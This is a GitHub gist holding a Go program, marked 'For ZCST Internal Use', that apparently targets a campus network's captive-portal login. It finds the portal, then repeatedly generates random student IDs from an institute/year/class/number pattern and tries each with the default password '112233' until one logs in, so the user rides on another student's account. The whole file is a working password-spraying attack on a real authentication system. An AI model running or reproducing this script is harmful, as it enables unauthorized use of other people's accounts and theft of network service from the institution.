Skip to content

Instantly share code, notes, and snippets.

@nmnmcc
Created September 26, 2025 10:17
Show Gist options
  • Select an option

  • Save nmnmcc/d3bc6aa6c8389aab2012cffb1f90d320 to your computer and use it in GitHub Desktop.

Select an option

Save nmnmcc/d3bc6aa6c8389aab2012cffb1f90d320 to your computer and use it in GitHub Desktop.
For ZCST Internal Use
package main
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"math/rand"
"mime/multipart"
"net/http"
"net/url"
"regexp"
"time"
"github.com/google/uuid"
"github.com/miekg/dns"
"github.com/samber/lo"
)
const (
DefaultPassword = "112233"
)
func NewLoginReq(
base,
userid, password string,
) (*http.Request, error) {
url, err := url.Parse(base)
if err != nil {
return nil, err
}
url.Path = "/quickauth.do"
query := url.Query()
query.Set("userid", "756"+userid)
query.Set("passwd", password)
query.Set("timestamp", fmt.Sprint(time.Now().Unix()))
query.Set("uuid", uuid.NewString())
url.RawQuery = query.Encode()
return http.NewRequest(http.MethodGet, url.String(), io.NopCloser(&bytes.Buffer{}))
}
type LoginRes struct {
Code string `json:"code"`
Message string `json:"message"`
LogoutGoURL string `json:"logoutgourl"`
MacChange bool `json:"macChange"`
GroupID int `json:"groupId"`
PasswdPolicyCheck bool `json:"passwdPolicyCheck"`
DropLogCheck string `json:"dropLogCheck"`
UserID string `json:"userId"`
}
func NewLogoutReq(base, userid string) (*http.Request, error) {
url, err := url.Parse(base)
if err != nil {
return nil, err
}
url.Path = "quickauthdisconn.do"
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
for key, values := range url.Query() {
if key == "userid" {
writer.WriteField("userid", userid+"@zk")
continue
}
for _, value := range values {
writer.WriteField(key, value)
}
}
return http.NewRequest("POST", url.String(), io.NopCloser(body))
}
func TestConnection() (ok bool) {
client := &http.Client{
Timeout: 3 * time.Second,
}
res, err := client.Get("http://captive.apple.com/hotspot-detect.html")
if err != nil {
return false
}
if res.StatusCode != http.StatusOK {
return false
}
return true
}
func LookupLoginHost() (string, error) {
config, err := dns.ClientConfigFromFile("/etc/resolv.conf")
if err != nil {
return "", err
}
return config.Servers[0], nil
// client := &dns.Client{
// Timeout: 3 * time.Second,
// }
// req := &dns.Msg{}
// req.SetQuestion(dns.Fqdn("localhost"), dns.TypeA)
// res, _, err := client.Exchange(req, config.Servers[0]+":53")
// if err != nil {
// return "", err
// }
// return res.Answer[0].(*dns.A).A.String(), nil
}
func FindPortal(host string) (string, error) {
client := &http.Client{
Timeout: 3 * time.Second,
}
u, _ := url.Parse("http://" + host)
res, err := client.Get(u.String())
if err != nil {
return "", err
}
if res.Request.URL.String() == u.String() {
return "", fmt.Errorf("expect redirection")
}
body := string(lo.Must(io.ReadAll(res.Body)))
re := regexp.MustCompile(`window\.location\.href=\"(.*)"`)
matches := re.FindStringSubmatch(body)
if len(matches) < 2 {
return "", fmt.Errorf("failed to find portal URL")
}
p, _ := url.Parse(matches[1])
return res.Request.URL.ResolveReference(p).String(), nil
}
// [04] Institute
// [24] Year of Admission
// [04] Class
// [01] Number
func RandomUserid() string {
institute := rand.Intn(8) + 1
year := rand.Intn(3) + time.Now().Year()%100 - 3
class := rand.Intn(10) + 1
number := rand.Intn(30) + 1
return fmt.Sprintf("%02d%02d%02d%02d", institute, year, class, number)
}
func RandomLoginReq(base string) (*http.Request, error) {
userid := RandomUserid()
password := DefaultPassword
return NewLoginReq(base, userid, password)
}
func TryLogin(base, userid, password string) error {
client := http.Client{
Timeout: 5 * time.Second,
}
req, err := NewLoginReq(base, userid, DefaultPassword)
if err != nil {
return err
}
res, err := client.Do(req)
if err != nil {
return err
}
if res.StatusCode != http.StatusOK {
return fmt.Errorf("login failed: %s", userid)
}
body := lo.Must(io.ReadAll(res.Body))
var data LoginRes
if err := json.Unmarshal(body, &data); err != nil {
return errors.Join(err, fmt.Errorf("%s", string(body)))
}
if data.Code != "0" {
return errors.New(string(lo.Must(json.Marshal(data))))
}
return nil
}
func Logout(base, userid string) error {
client := &http.Client{}
req, err := NewLogoutReq(base, userid)
if err != nil {
return err
}
if _, err := client.Do(req); err != nil {
return err
}
return nil
}
func main() {
if TestConnection() {
return
}
host, err := LookupLoginHost()
if err != nil {
fmt.Printf("failed to lookup login host: %s\n", err)
return
}
slog.Info("login host", "host", host)
base, err := FindPortal(host)
if err != nil {
fmt.Printf("failed to find portal: %s\n", err)
return
}
slog.Info("portal base", "base", base)
for {
tried := make(map[string]struct{})
var userid string
for {
userid = RandomUserid()
if _, ok := tried[userid]; ok {
continue
} else {
tried[userid] = struct{}{}
}
err := TryLogin(base, userid, DefaultPassword)
if err != nil {
fmt.Printf("login failed: %s %s\n", userid, err)
continue
}
fmt.Printf("login succeeded: %s\n", userid)
break
}
time.Sleep(15 * time.Second)
if !TestConnection() {
Logout(base, userid)
continue
}
return
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment